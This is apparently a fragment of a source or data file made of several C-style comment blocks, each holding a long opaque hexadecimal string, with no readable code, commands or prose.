29e898d5ff44f6a4bd595dfb0a31d592cb2110273134d7933262173d0b6e37300a289bcfe9b5b65206be9e41429b889384f2f7e779e73c517825525a9d35de6bdfaddbf8db36afedf9d93c5508ee30448aca14b3fb565f806d7c8208c73e162002d8bf55540c48ff89e1e63efeb312b35516f13e81fab93211c592f148900705185469e87016e8687f3bad96d7f15d45b47002822ac915e10cb26ecc69278c63540d73f92f37948a94c21101bdb91ff14f2886fb4877162f0c1198d5f8bf2253003b5df9287309948f6463492d9922dc7f3dbdd4c3ed2e88b5538b39524d6ae31a15c63c7ea7a66e7d0231c65c86a52de098685cf42bd808cc71de4cbfe3e2b1b729f364e7c503487cb17e6d72351396c91318baa7f0c12e569ba0c3b04e6e540aa5e05d84cdc79f10e77923100eed1379df55437a5104fb58f6ed8d48d4da2530787c36fc8bc30a0f4fbbc7df3803cfa1a796438ba741badd203a2b38f8fd3335853badecbd07ee60227de813fc0dac0e81ee9b6e6eb773a1a629a08918a8f58a6fca27d80e6e6e2a3b5b072a2c9ffc8197acdca7688d089621e6ada1a3d513042bc0070687f9481396ef21df7bed58f8ff3865263d416f4249a48994094*/
/*56ae288604e9b1c5794b507c3bec5945c345a7bdb1c7f9533f97f639a4e8141912e2c38115f766c56dfa00d4fb420e5e98850aac28de05ccd6198642893c70a6ba69d28559b0396627520fd6663df96499f70e4d2777988a45d40b91ffd2d1368d2f2ab5a0bbd3daff13cc3f5c635cd572ffc07dc200b8eb6f34e3f6fd4ad46be0ab1917b5e7ea9e6e7f45394a153484874254c62e0ab62a22decaca8d5738c0d994bd8a6478358d4e1d5bb6933343acbcedb0dabffb48fcf4f2305e9f5fbaabdd87cafce62d68621743cf8355035a1078b663b8fb1b26168816dd89da52d30cd604d6413b1875fea3853f815dba8f8ab500a2c75c6855d9d3908ddecaefbcceebea32824ebd331aea703aa0860595109aa02191cd844ece982d117bd70bdaa586563aa1f6c603cfda92b560e84ee63b282b649a2d871f4593bd1a406bad70562494c8c56ab7a4427a796a199359eb1c13990e1da8945dc5b16613e0316e9cefbcefb943aca3cf20970db76d9e8aa02c9c3c4075d63e7aa6e5413eaee66bfc92538830e3f7a94ac28d7229f27599b7512514cef9602849b530548eb703d7600eb30c2f445bbccaad96b17ec85ae307186c9202c872bf0ea538ccf0333b91597b09ef96a15f167e4201dc5ef8354f23a46dd24a76544beedf19af17a0fd1da4e278525f84ce28499fe03215d51586f9d373db3f426af26c3ae366350c305c3b7f341eb3b6ca572a4d87fc517e62f6fb40295c6db27f9b8735b75429fd28b67b0c1c3a5e0af77ba57dfb18b2900b116ef604ebd28f4adf6c36dfb594782ad53ef32e0a489e2fd1f5f3c2249967fbe30cf6edb9f79bb7b4f348262d20835d75f30f5aa66c2f85be20cf9861da91c9d37afd68510a5ece414b1d3d2b0d83442e00098a767651479259c55f0a7ea8d35aefa058e50cb88b4199a54853d09ba3dedd0acd2ce5821dc47c61db60e4cb1e09431f12d4e4718f209003e9256189cc836196f49b9895ed1e7b9ceb2c4e68a6cfe169bdb17787d00e54fad26875f8e5fe32b25aabd714bee6fe7e54219f7a0d33823657df48dd2407aa0e4856645275367198f186f9cdde18a2f2d5a52c5aa6419b2c8577b6ad5d4fe8770099493c28f443a5ce69484c0bcdd0cb107d5790d2669a97210a112e1ab02347bd5a7d78b3d13364f7e8f2ed29247c585a239a7a5c7c622d2ad67babe8bb91afd66fa1eb8b610f43126ca477c7200135b8591b82ab96988d0e92be81407afe8136c1bd7e515aa9684473665595e9c44aceab28b1b7f06b8dd1aac2ff115440547d52a332796a72623062599994efa46c93b23692e502f7a739621a7127b873dd0355de5f2788cca6b43fd3138c2628c4db7b152ec615c10cb51721aff9d149c060accec213d5e333df678277797ec92f3821846115fd85f73814fcaa8dc8ace53326380cd5aea6af23cd7f36854fd3cedfee9d2b562b4c63a2a46a158364381048d9c5d3de5a7f5147de8fa57949edf87153f00946c1b3e383fa235a5eed3a3f12c244e10816e8c1a63c8ec25353008091632c4ea7f3a794a322fe2a9dca990155d1098c3cc7cc6e636ba5b31ca9aa58a14f9f77e48d65e1a1c1c80049483c85140a90bccd1d96eeca72cb25b0b2ce45a7178a5c251e22d748221a9eae80569198edf329f60a22ff28145e6458c5cb319dcd4807efb6b20f9433dbfaddf4baf1a34567717deeec50375986257224debc5a6b46f9658e05dc28171f1c94ddb8e096e4fdb28b6e48e770bcf747c9a84b2b26ff5e88176800b4aa074777234ef366cbf43a3c21964c3d0e5a65b103efe1c0bb776677dd569c86e7529027e6b68c9de538770cdcc4c2924ce2ea1f49c7c0f34b1bf0f3575aa164bc31911668d5c70d171c3a03a0de6bedba9e1b0075b0a857f80007ff90394bf8c3d616f49a6742f29102e09dd70e64bc9e255726c54b0492d418880b225d0a36ff50f10f8561806b79cabad3b2f3fc223e765eb5e499eee0328d40f054cad984ae271b554bf163307709b06af632970d581dc5e8ea0b75831ebf9541ff319efafb996d95339a297c51cbeadee8abb4f9e13721141152e85cb8967b21931a5986f170db1dce70ec6e69f84138ed359465af4afde27f1fc5df0617e130c03f2301a6e45e5cda5f742ac810beeec290c689fb1a54880f4b09e55748b7e2af122e4b376a71e67b742dd8771fb68ca39fe4a711ce64a800d1410dead9e3269fb5f04b08aadd7bbf6d27f629bde4a6d2374edb0f7f077d4f5919cd1313c9dc18a9b516eff77a9a1f70e6081b39ee64b4e07e547aee9978c8d0dc0a0320551ded2994fc5a361fcf8b889e4fcac014c0276968949760f0a967c0ea77051b6d7571ec678ca01130e0f2dcbb4a3545b473e81c023ac8aee8ddd998e58b38dc69cabbd91829afacf1fcae3b7e23ce10af83d49db0d146064c18d1429bb02183c5d9233f6f0f9b416e5ed173ca75034aa5be9d1984a5d4eb776af6a15494e08bfef2d662c0a7b91d0a41114e2f1b0ed01095441eb7b6b96d858fe655f6e5f3bcf4684e207b32da6465a2554b044790291bc31177618f561c0b2d912959068ebebb7d3a6f362e76c9258ca141a17fb2e90edaa1b092b88110ae036a43256db6d3341361280b2fe4b7ab5f3471a04d8c6431f57b3025b7b46e39f2c667fa975d1373aacda0142e3a86122ca54e27ca681d30df72f9b47b94a820053bdb9069fb003ff6f19188ef2ce1ade96541cf06499764f2ca84437c634f73dd8020110adb18a64896d88f1baa155b7ef7ce05b4fc0351cd3a309d5cea7156046176a2ec481256fe181e4367*/
/*2b304489507487dc0417c8ed7a140dee3f3ebe2341adca7405396b4feda3a7b33d1aa8954aebd7cf6ccf5e780ca1c5be32151616d66279804865ccdd36c119f667a45182f00b2e6dcf89ef1022b0c559ad160548cc7ae5f9dbad80c1bc68d797ff8becba6136e5297d064577abdbf2ecc09bde8603b76ccf64a7afd328f00f417e765c8acb2e5cac3dd773788b6ec94ab4725f1559e1661c028804006ebed2b5c9a1fb225565d6f49c27e13a6b8aa9a5a99f24dec43999b7aae8c3284425334b9c8ed243f74c790e11f0706464da6319816dcd444268d0ab3308f5e2fc5b985d15f12aa364858e635d0e89c93f12e90ef0fe5756bf2c6b93f87c1b4ef788035ce66c8276e4f08db6bc04c803d853c74ed87116a5ec3e0eaac317c2afd738c2acd3e828e323edcc56d589368cc17d24c4494769cecbb56400b1dfcc6f0f26a3336c5a8884aeff1a7f69f949b8e9bec03da4063c70025e24b5af3b2c4d2b4403bacae4fd3b4ef934bbbc575317eea7c2f3b6f0c501810dae70affe34cf2bca534535837c45670d77b8f49654d22143ca5cf2fc91d4aea693ed2b2ffa5282b18bcbffd8e236a04cb397d787e56c34e6bc77b705f1f0ef306107f4cbc2785f931f1a6128549f0cef8f9e49409503a297b3a8b2fde43f1dd0d11efd75775db3daed1567ebec1e0047dcb7c3830b6638118990a003dba59135fd59865e9d5530f34650471eaf5b562aee27b139d83a0d6b8cdf196a5ae1b4b76a64561b9bfceee9d67f6fdc296b4b00877675e3c665160eb8d347e54ca9c90ea69f2bfb1845af9ad9103e2abed2d1e6ccd9f65e91d4a76996b3569f766e7b2f846eaf5148bfb8a3e3faa657be9a8a3214a2b8dd5de94fc2748feba40eed946434c01e2fdf86ed7b892f5186c5c75d924770850dde8dda580fa232e01e9f2f43db9a583f523e9a483d30a117c54c326b79413fca108b829fa7665fe3d6932401e0cfd87c24de23a39c14490d98d40f7bfd2273f9584f1ceebf68d0aa93a20220d55e4aa3c0b3f186483b661659fa7462d83d5bac286df78fa3d09c007d24a0dd02cbba5f0fb3a483968fa0ebce28aded87b33d3ec4aba19c2c3eca720ec56517d2f1d5626807298c8938a1c77e367eba02591c89d9604faf3a7fb42d2cdc1148f5e206d61afae6ba218fb106e18e1456c62915af57956e24447f15f6b80ff5f649e817dbeefac39e57740273c49994d3c028c68db957249953a8ef7e5b362c66ecfa11b61d1faee1ddea662f15cf4459fa1f82b83c0c6cb8321fc6616db18046832ffef81efaeebf5d779a3e7a7979cd06f0cbf0e41150ff99a79efed797a274b22d44153feb4febcb2aadb3c72d81a8f1c14824a1d3e4998eebea8739fc43be7357ac489f9100fa40f0b92695eacba50b72b971da6625ba0ad0b10f8777785e15e5391b688580fc3eb49b36f5844add3b0cbe3849783968367b6ab5c6940ea6bf1615588e8e17184c58d39d8affb8286c8676de8a7d541a190224d2abbf0c6ecbeded011e081963abbf7b914722f583fada238979fe8879f122cbce18a7ff719fb999d77e290212329629b5899da484469053cae451f825911afac585e39be6de92ed3916dd27f45fdf4f5438c0dc8478028cd973a4cde935c5b847a77feba0ec005f8e7b3876cf5d61698cbd57a14345f62d6d3c42fc36c765ae708298b40e92961e3c7311a315054be660e5537c368d92abdf0ab1b5dd923bc2f3418ef41f91bb43cc8b3dac9d4dfb75465f37a095362e8c031582cb33f272b4dbe3af3d9acf34ae9b6c2f2d2dcc42d381b92c7727050a3601f9aac91da361917270d428a2de52b1a71617947d14dbe2bead385ff3b900bd6367dd14cc3a3aae4df79d436f503d7564a1b40881dde933671baff3a38bb454bb7deb52851ec3df77c15dac341af106fc80807d17a5df26b59875b830d2d7966aaede1815ddbd660a66ed62de8f4024ba3733ce165eb29ad8725689bc502cb4a8f799cb00e557e52c71ca4c908cfd3564238c46797785272b81d1e6ce88307e363457cf0d2da128807488af6c94c2e3fd37e8c9c9b91ca5174d265ce6585d00bd4d66148b8019c54931557b5c1eced94a23dac7c2f93570822c198f032f5e3c91e55899ac73dc0057ca6343979928e5d083c088ced5bf2527d8290cd0ede7a4b47a55bac215f2557fdce667e2901b893e84ac36c4ce12f8612cf1bad9a1e99ab2f52bbc04949ec1ac776cfb7909173b52284c7be2da3364a84646ce0024069b142b29063cc2ce0ff0573b9d18935d56abd1e253accecdce3560f8e1feb18ab1938b7fe7a8636b354386dfa70bbd6aa285b856adb8ca3b80b08a354e43699e3ee90c01ddc024e5d821779f13e1617ce48502ff56b20b4cd5e519c5b73bc5b7e1d52ff0482326d38bddb09e5b31666a52c63806bb955f8c55e97e1227005685d68594606120f2e75c87c354af487faefbfeb8bddc24d7696a3a2ad6aa6f33b07058aaa1ced50e1a916c53b8f70bcb1a8a1ca315a9b0444043055c89a8fe850096b5ac670c08d6e785fa456da1faf8815c614a1bcd7382ded36dfac6b9bd968e7273084f863b7fe47c3886c5890e61efde3e2e43d452851a2a57a2f014f451a0dd5e4f2abd2934e4f57edd436088ff393aa088a4ff98f4c5789d8c07fe4ae7b69c38928705264cfc29123a156d3bdf7c5dfc16e9900b78a91c414c86b0083a2e5956174333852f4913a44f39f6c96120cf118e1801450e81fdee72017a94224700d57cd40520d9b03fee6344f85eb961eeda064da2c2b88d24a2d9aa95708d119f8500b19a832cc5*/
/*df78a56b49ccf7ea38041caf617df16048f41a6ab54e9e4dabaf873486fe7ecb0c24a0c14ec713fa82302f54902cfb42545c51044a5676cad8a2a6591bf5727fcdea5231f9669b11a411c03b6e36d6dc8258bee8bbd9fbcc0b1359a9f4969bc8c42955c29cbeceb4cde054490fb8320acd51de45d165b0abd630d6f072accf848199782b574f0df85f3b28ef41010779ddea53074420159c613f9d4b96b57012ccc24cfffe263a6b91c11d955f0c0e32914cf093f21210d5754d753505e8726a84fa88741cfb986f2db6e00384f1b9b6b080c83f98a7a4151926f57d259f0dd408736192733e62fd98abd08b51b9c9a8629229838941a28db6de99d2fcb8edd53195f1c03d889898b6c544519576aaeaab8c86d1efc722af67ebaca4eaec9774ab96c19260c1eb91d07fd9dfc74e0aec44e88dabe794e5304c8b84ac24a6de5ade45c9ece42b607f6ade93970eb7ce10032feeb1f8a1b29c1c15de5d3e59e226614a047b29ae74370b0e3b2e320c17b178c9ba7542726048a757aa7c7cfd151b210b96310a38045e51b657987b0788e088ad89c7af600ee9eb7183c52f1f1d51de906cfed0dc08e5832acbb8302ab1e5b9da5db6ec25d9ab3937d499464ff59fb9dfb8b9392f0fec07cfbcfb3e011dfa8a5859b2623871e4bfd9f79f8b0f1c992443de33db81ff12484e736d2bcc3839162d27f5df4f500cd475d1e80ac8dbbbf23d7fdb7658cd8d1f609316b1157ce99db3c51e31e2a3f93f1ff9e4c9e15827524287fe7d9ddfd49b48c564265d1f4e09c1c7db67ea8d49d33d9f73b20d639f42ed71fbcdb55fd769d31b0ecc223358faf7cb6412c3868f6a9cb81be6063d6fdca1ccdab937263f6bd1e93d2a8b07df75e76f8fb578142658e04bd1b2e161c33b3281e8f8845362ebcda8cc5961ba263ff4a55bff9516c7e4e9c64f8afb7a52b36a93264661203b1d72b57b575fc278bd660339a0dbbaafd8497a5be1833bf4cddf4cfe063cffa152f9ec48afb0e79f83a3fa78a3e99e3f3a129933ae75d60e60a6c5cc129f5c6293816dc71634a965d7c24ad443b1c6a61854b6ec14a5d9d8891e437097a47b49389ed20f201f1a1cf9baef63c81653010a0a8917ada8fae59bf1c7912cafa898dbb806e166af706cc49a1c0d99cb44dae455f7c58a98decd1d4b61f5c094fd33da04a81fd00b2ce147291ced94d1e741e17dcc1b26c022149e798782a5950650dcf532f23f532a03b120ced3d1ade79b96a1aa3d18d65e725cf99d15d5187bdd2500637227a8b170e89376f28ec1eed9ac8303c3860a8cec933bf23ec3fa8d464df47c9d0c3de9266fd9823b0ad73b4a3bedce14bc8dfd637a99c41d0abfb958f5ed8fef89a51c52046184d74c65e8a8833e130ff4aa8f63100a42d8832770de4ef9293d5031295a1e8d78cd32cfd561153edc87bc19eb174b878400716a0f3409e93ba576bd93064a4ded03609ca2337ad31f14912b9d77daf52ad0d3a9610ba931519578cffacf4a17f28156c7d680f8418f1a8af7fb2fe2964f37bda752d1777727fdbd82e111ec60803ce1a27ca58b1319ff66c595ee22d90acd0fc74068286a8cfdadfb6a17254dcd71213ae875a6af8f823d245a86192d0f83b91103a0d94d0d3f77278e5815a7e39ecce5a689592920477969d46f8f28be510ecd1426b92ba9f6f790711a1b64492cda5d1558a807c9527af1cc0fc502ca2f6fa35ee9c10fddf4679cf3c86affc53d10e65ffd42c898a0f9006340f0022c5c6f20ca7be735e179377a2e3e40811eda853a6247bbf7df608842feb41e2c3c86d4fa99410dc485a29aaf6d308c330dadcc58dcf5ef87d0682c945b3e49cac3776b4488d511eb239ddae9e95eaf8ceb2010f79e20e4ff74d469b2e1d72e5cf14d7fb7b0fd3dd4e75b3479708da742d4b28bd4952d1c765616a8fe4983dc57583ba3b9a2551d2e34e9048b7d531cd86f698cca83ef24dd15815463264df0aeb291b50c9855d9ba5d0000b230dabf4ccc3f72dfff8eb6d5105a403b9862da0b4377d65e6c0273457c67aacd4efc0d122061ebb891f821a4e92194a18bba84dae08d04779d04c600eea5081755d469dfc019f88fffe4c9e13deb40981c47c8d670625ae2c821c61c2d98a4c5486b9711774deb6d4b9ab2249f5f052d4ee6a98530d374f8139cb51066965427987f452314cfbec3d807b45ecdab00ed0ad5355d6eea3f648271df051b60e73c693b6a1459ac99030d158c201c0a12608e3690342d6db145149bc3b819b2330e4f9ba14318eef125e85963060164686017b900b9032cd10a49eb229319c380c24246efdca742f2efa40649d439cac1769790fda70caf56b21ba422599f8daf5c8d6f2736c2c1d6908be3c989ec51ef03441d9e850da739df08101c9b9192a4cafe73a7e39f17a2a956e4e2f2c89cbb042a528e498d9f8be158fd79c1f51e9795f3bf93e1da05167d9d38c3715e71df8bf13beca99a661f4d321297252e9c8cbc4335a85214230b6f9f5ef231ed2c7d49503252cac532e1c991c659017cdd116941c0e06f495c91aed48aeb53ac7a09c8170d68a7e5755a43766e4023eb17ddd1f32895b435a985ec22b811fe551a75b0f85017db7476bc7c8bcf309bf5c7d68094abb9fd1957d8c22dad3cba13bd2282a5fe8e578cda4f58ac78757a5becc6e8857a7b6a7c6ef8c14aded89159584536f1576c7c8b54b82ccf40e5a45a9ac181449570efb8318d0028dcccfa048d3324a487418f85933547af2168f73e247a58a48bfb7913cfdd3546dc45b6cc6c0485733280a390e9f66731abfb0d1b2bbf456ef6*/
/*9cf90c3f7f6ab2ac5864e35dc91a1c47e9bf0f7d3f45ee56e7360017eccef22c4872534d0c8d23b43d427b3e18db871e72d9de8b3e61858be64789e994b9729e65dfab87b9d3136f3259691635c34215e190fa384a34f0a509ec49c4626dcc5a52b3f9198645c77fdce2f7fe5c7026c1523653ca82827831823edc7eb021a90bba2c6444aaf38fa49fd956b59b376b5f54bfeb1184f3814ee4bed86b60f98e3ff7d606615dd8e8de3d1c631e2d9f7f9ed6a1b5a8c5e9b87d5420f1d669be835fc68a813b828509be9db31377611a19a7ccf744fea12564f7a6b14a38710b08758c59f9e940324375371de1946bc655a047bec255898e2c0a733061eb96ea1a012579d3deebfba4ee93f526ee64cfc5ebcd8a6a52a87881f178a5b2d84e59321d88b5364a565f02f9355ab457879ca47a91a3d53d1d4a2eec1294c7a40b2bca10efc155a81070ede8619b38ca8cf44115103b52add7f468fe8b4e97275a6d0d2b7c33f70a16a6d814ca522d8cd15f9817b647552ac927a861440d8f5fb95e5a56e398164b6a611281071cd4edfb0be2e57392873639696aa713cf00e951eef362623533f0d7b0878b90246cc29dd13a5c0533d333dc94c311c0b2d10d0dc143dacadbb6c15b5a5f4397ba883a51388814d80f6284acb7a322ad3e5aa507f5fbf200877f88e52daf8cd9fa27156bbc98170f220289eac8690ada0be1902917062c3ba5a0a59af95526a49b49d523fcb77b40b8e8bc1acfa01a3038ffdd792c80d2cf62ad823d2074f3e7b5f826a3a3da0c5e4217f1b4048d82c2a0d59ef2b5cf303ccafc4a28cb26ba9a36dbf7d23b3b0ef282db9f080217c514a7ce748849ecc11c5385379e710dfd435b4512f7206406d7340afbe224e17422c2131eb44f1232bca90d1b7522a8fceb0a938954b991c78f7c6d773b11c5dff0f1b51c6342629b6e8ce0c09a5577e28e8a11e3cd50f1f43eba768101d210b350f22d7ab4163d291663551f44dd1d604a0eeb47b7151497234b3a30b362901b9072f361d958991bddd115012b1eccaed192a68b5793655200f60e60ef4972cac10381ccfe9b6eed4410dfd4dfe5bbad5ddd07c4d5b64d917b9ca1125de9aaf5b7455711ed6df7c9dc2018e422aa6ce55f369a4f75b35296ade867a21c88bb960841af0ba3d3ab8e6632e5d553faefe1b26f5c03ea8d4f1a05a15df6b22726df1126af4f1235c057de14fe5b9b8f54035cd230bf83552f6de58aa31ca531fa731decb4282518eb24fe5504af530c8fa79022c70f5b46bb81c63f4b43abc79b726f794386d1de40a9837ea695ef16996baa673548de9f5b9d74e8c77753e3e5ae394c23ef65c40782bed2e47370d218b1acb254f7d78af99219a4ac43c60fbac9b126a5b8440e9b6d73ae417868e22ecef52aadced8fa324fdfcab499aeb1df8c4a5223195f576300ff6165f6205b4c73b539041b70a0d0d29713ad7f09bba827bbfa8091b73cb633bbd6697468c21028ea6d9acd5327245d392099efddbdf2883018b83a9bbce4508cf24da6ef32c76a1b9d73b28b83eeb62c1106e9f396cd2da795e62a84887d6c21333c7b7290ce6632e84138cc1077e9e166f8c76002d40177c07bcfaecfe326dc7d77ff0e5fce9a74be5ff30c05f217f6dc74cf53f7076686a1f6ddc6aaf80dd83c8a731089dd5865faae55bd12998ebab9dec7f56413c02abfcbf3a7a0fd53c05102aa7b0b6174c7e5ab8bc3b78ad398da08e5d882615574b21ba854c201a07fd0482aef8f6158efc643bb706156d1b75bf08d434bc12fd54cfffe67105e71427b63e0d63e4d9365474e2ac4548222b12c445a597da764b958df7f9832657bfec81dee44149e6d5875f155f5cfe0aa7a030b4c49ccefa6b18f7a860530cff88925bb225592648fc169f6d6d33012cd54a5aa00a30db84784616bc72a8ec15b635323c0143e8823383b277d728f375480e6100ecd24b0b6f0749fc86b50b3fe95cf6956ccbb43b5adb1c376b29bdbab845c5e9233952a75ef3ee892ce7afda1475d3d13c32f11d7d5241d117067cbccce57291dd874afcff672de99bb518bff03e7ac07ff38a8d43cb78ec74498c6d26366f3d442417be3ad3229196b9deeb93e56f6c8683ff6c526d70ae19ac4b7e4b210e86431f63eb45ea3a581ee93a9c1b0f0375d0772a6474595c73984d31dc309400fbda6ed91981c67babdf813ca4affa1b670b7d4098b66faad05585fa857fed69d719e06c3027dfc37f53f06577bf2b25be4baef668d5ac3e3f820be1ae4903df82d47175d396dbdcaba3fe457f45fc26b6ca833520da0f5dcfd050bbb0c760bc38c5c7413bcd67bc6cda95e809fd0d06752fbaba6b3757ea3ead0549ee786510b0c6d995beccf20ccc2fcef1b5b73df123afdd119de3bd1bfd28ea36da051089c8a038f53197598301a71db6c98f26937a7d254f4abd6e2ab88239d99b6a306b9a03375e011e61c8919192ccbb639b2981dec4b78b425a2b5c42e4372d5de991dd4242ccd72b0e68a295b6b53c156188e70e6cf102aa2ef58bd4d850f249197afed5f2ec8731d04782da6a06c6ffaa9b07068ab27bc10f73a8b585efed40019efc8eabab2f23fe81c821a64ca972ace3587696a2ecea104b994e38326513976ed3e9e7585a5d4639a8f399ecc7fedca5ff5b87097b6f22fa59f59c3a2669e8c56eee7d80cc3e31305e3ecdc27038a4617a6129f3d0b27f6b2a2a16d4636364ad54444b9c0625f572e34b723cfb912339c98e1dcaec23da5e34bf23957cf52089f2c1176b94cb4fa348ef94bdde2245fe18e3f67e07cb00546a97525d6c0*/
/*bb4c6a68a833e7a2e1f2c63955578e3edbeb89edb407c1aba90b0abe51e0a8a61897cdad82f5d610592b92ea14d4fbdb9d8a0345bbf40df3d3583dbb295fddfa6fd599e8dccc002dd8fe43c9bc5b3e889ee0e903303dd1d7d69495d33fe15b4ad165d06c9fe551945499996abf3e2e5d108fee7470e0b81a9152f421a66600028db80cc3a4929dedd4de61269c7bd5373242470064a698d4644f1fa5bc7fd5f9902ec39bc809a8f583408fbfd34a3bc1538eaca18d8957fd878e198634211c4e2cb479c9f441af5d6419a275f56fcb2c9e81f3e1b14d3305a46d72c0da71eb559f8cefe7610c7a40f3ac68290353ee087c60d94e35cc2b1a1f95862b7734253a546b5e7b44228e452116916a000d8c1b044edf17d5a2a1cc4230255a8f2780f82db03922407606abfeb179eeb6850f2dc226872351a9e34a9a6f169e6f274561fcc51e80f5c34e4f399dbca40bcc1143173c14499511cfe670f4c2c85e66664893b75090f24093c0fd640dd42f04dc2a0577e5c9c08be090408aa5a1ed1b7ce09f3ba68845854d36390859a4c47f1ee56faf8f19fe3524239be9f14b17d01bbedae14ac888cd6bbdf5c8de6d632b1c11628d3aa930fd1c0400c2dcc13b9a28400cbc56f87521e663a93c595c5f1e158defe3014ff0158076d99af52c74024aa5953c544e4e3b5d01c50cd6d3205eb622c920bf3fc562ab4bb47953b02e7dbb896050a5ea2aae6143a3e728ebc9c01939a9645281339d16b469ba330e7fde224aced24a9e24ddb9f9dfe1b7c31a30e5db650d3226193610920a320f37c9d38584ae769417c7ac15ee211bfd9b00896c0c18d63cf86b0be90a05c3c9df20414727bc7f3b02226361b4005f836851d0130de06a3b97a76f484fdc155ec8a92c03309e566be698288cb2afc5589dd3a566b0dc73d1e477c71e22f0ce7d931f8b6b265131fbc10a4e77d0b4edca05450340e9fff04af729c6604d622a33cbaeba1cb93d3a763403d842fcdf57ea77d2a97c8fdaad7caba5a5f906a2a99cd2f542635d8d97ed52e8b3638ce9b01e170af01260ca1ae4b26537f03942b344808ade08279ae44f74e241f94fdcf3a8705bed8aaa38b2151ba16b2fd7ea0adf3e098ad8e257819bc5ba6e92c99fce2e4883877bc3a0021756f3156d7d548241e62f02a45e20b986dcc898c8c8c29668da3102c7da8fed7d74fb041b948bc6012498f5c74539a65876877073419ee2ec75291881dc52180327419202d8af571dc419482fb1a78b760d376c78d3ca314e17d78bf5d4156637a73b23de3838e4e75548319204676bb2c19e4a0dc3411258dd433b2dfb99deeb14818e6fa18c258245b4445d45a273749d5531e24a0cc89e8c8a3bbf0e8ea0b407912e1bfef046843938b4ebf9995a3634bc32f40cdad24edd12ccde94342c52f325fbbd095f00e09320a3d4c21824b2473f564201947d350f946eb3beb56baf2bac2990a0237c4deece47894d4ea0bd2251796fcbf964e591c892d0e0d4f145b6bcca406d2688cd95d5d49690ea70a7a476c6d7f743fedc6b24a0800ac96c275e3897b17e2a3398d723433bbf79500c02c7a9336f1836eba0ad9d1c54fbe2b2a0cc5e4c105b5beb7d993a99a767ec66e302c9f3b9db27dbca114c59a62dab58b6fab597b0ff8c56075ac0fefa70ccd521b29f45b00e53957323315051ed58b9176be12ac0e323a749586572075fd91a6cea20d5aa7fd2be72385b27915cb14cb308d487f5b6d4ef1ea0e4817c2b43609b5e95a98183151f57602df9606c997462632c98c87a293739e51ea9b323a5b75dac56abda0fcbf09668837888c61b41b420eb42a1751799b737bd85d7626dec5917273f0826bb19d1fa97a06efa29009a6a75befbf980d642c5e287e679c45274b944168b2d08bb861023535d88f143378b44226a2c0d7b86862311c9ad82b1aa64c6a7ff2eca4c8e28cd7831448e575449d5ef9953bc96e87d9288c8eea885a54c1a435162055cdd40024af178eb7b05ee305c28b4ce7403180d2285d159ede40ca39e1583fcd8e71b776c1969b86660632016734852bc75a90d44be8225a3fde5e6ba853cf51faccda402ed7631e07666986060a94e0c53bf01f68e12a26f3766391962fb07cf0e1a5ca83b1cf29e7f72ee160cb298a792cc1e3f0763936440c2cc2631351ce71669189e7940e72233b7533169cb64001c7661c18a94f2555b2d58e082d821126cb452d4f3a5bb5a4a64927b0efe8b3c899612cad8fe6faabbd19582e8e938ea53e8a7f9e960bafdd5fe14aecaeb7890cdc701892825f8e843dddd68275014fe8f19057a676e24eee4921d747c5699f751ad70b70576a1f7ca7cecc5da2989be0dc573068ce470b8edce17bc7e9b9aad51f6b86450345f5536c1fbf13ce041d8a70508caffbe3ce0a46c70266e0e243290c30eebaa06bef29a18493d928898c32c0d279836f91aa3b3faf4684f7fc0563a300d560962e957a30fef98ba2482b76a87ca0e1820f27aed46eff3905d9c2fe452b601b7f56a0692d49f7d5b4faea3c3f9fcf8c2bb1e6e4e429abefabeb46f4279eec93e79691ae37130d9af5f41a91f7f3c9c327af72940caa8cc862cd581d094d35fc697a28b30830f0664542ac929b455c2150b9cf17312f4aba2ce781290bb9372f530eb2bf251f545b7e2da170ca8eab2fd024f553502447d36d00b28bcef08c10f0fd451c44d56e2ab257f9155c7225f1740a66e751ba69cc6bd949c62b59a14bd354ebf27c4937f5d4fb7f6f1ce0e2ee7e4a2229a3bd3292c5467a31af41353bd04555e204266acfcb8a29d03a7ec92e8*/
/*c98789b1379d5901d09e89b79dd5667d239a9ac78d4bf40e1ebb0cd805bf14d1bdf73cb8b2ff5d41575d6f79ab7ffea3e6cae273d58f8be80e9b7e124c23162da865d78d0ca058aefd4cd665bfb03125dc703cc2b25204e07b20b346a3374273ba98f3c56f89eb643f61b8c56d0073690da4a5940500b8cf863f293ebc21c9164798645fd731e0b8c5bdf9c03f62c5b8f921b3c8fe15c422f59992fe9e98e5afeae31895447a3def29fd77bf538e8c52019fd9cc8c9b5106620e1ab07709f14853272f65d252711d9f8cb717cfd4b03fb01d7faa23840bdfa152cebe4f1ec6a29f9b0ad0666cf3d475f16ccf5aed15d0b0826ad51ee71582227574cac411e3a67cd176d0c525f580dda93c607b31bc28f8b523bd7af0cbc7666aa0d14e6373e0e4a1caef72b3b0fe7c0d4fc04cac918ba304327f43697f9d1b94816b89ab37480e2a2d674dd48dcd8989c77e34db700f6f8d25578710bcf1895b9086aeca9d1b7d7be62d09fe4d1df0363273ad6194ffe7d49ecc045bd12917ac23c92b62c8b561587c93e2b1258c1614f9148869511d33d4155f8422df52c97129c922147619c87a7d3bebcd1372fdd7b3f76acd3695688c17c0bc48e1c7b841c22fc3f57d1496b242bb3b3cf6ed9f13ab30c2339fea7b310cf810b84f92153a2bb8b6ef5a4a658ca024fee0980b4bce33ca88fde0deb90f16d3fcab8f39d88ea6698734aef7d849c7cedbe4887145fa2a15ccb81def1b48aaee8d1d17436672efdd98b4e7cc60a300e42926f909b8e33285e1fd910e0c0edc083af06ecfe8b3c511a232fa5cd78226b7ee031e49dc39da4c78d4979d8247f142f496b69cc46ee36a72d6adeaf4b0811fc6eed134bb7e208d19f2290958e9fc9dc204e9477688c14c9b9df20eadf5cd493809653fd575969d5463fa4b0fb6ec399eb511d5a6e0284ea9ad60de7a8520e376f0caefe727ab566f8cf0457a8c2d62d68235fecb9c2ec45a19430f836aa4363cf667c8d8a30ad65f2b16b4627ec6ba9f92a376d35fbbfd15eb0d672c5ce81c56f29f5691f6e30671123c733ecc8206f19c58316b1703bace060704620e8f90fb0f715fc9e359b06f332e926c87c7285ca8d5f98571258eeabe6e192638e37868a2a4399db9dd4d4a616a4a8ee6b73f5e9f625fb939df914cc6ff43787b0c11caf46490777caae4e8d40fd2ba489d6083d58d30c1771ecdba1026c6fac44455f6c76d229b2cc418d46b7984357fa90bee0960e55715a8a1056457f94736fd68d6d1f39b83a6ada10a7bc45d8da2658925c58f881e0ff209ec9b3b47086dccefc923fb423155f58ef70c9692251494e98a895e9b31756ae1b7865f382fc4cc3976d9d58f91820e0835b6629ee304eab97f9b1963fff725301c24d9294eeccb752755af0d675cc04730d1c7662c7f2280cffe63b5298237cf682de80d0661a8f408769f74683346ebb7a23c79d6a2b0668ba6b5a